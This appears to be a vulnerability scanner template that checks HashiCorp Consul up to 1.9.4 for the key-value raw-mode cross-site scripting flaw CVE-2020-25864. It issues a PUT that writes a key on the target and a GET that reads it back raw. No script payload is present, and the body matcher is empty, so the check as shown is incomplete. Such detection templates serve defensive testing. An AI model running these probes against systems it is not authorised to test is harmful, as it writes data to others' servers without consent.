id: CVE-2020-25864
info:
name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting
author: c-sh0
severity: medium
description: |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode was vulnerable to cross-site scripting. Fixed in 1.9.5, 1.8.10 and 1.7.14.
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://www.hashicorp.com/blog/category/consul
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-25864
cwe-id: CWE-79
tags: cve,cve2020,consul,xss
requests:
- raw:
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host: {{Hostname}}
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: header
words:
- "text/html"
- type: word
part: body_2
words:
- ""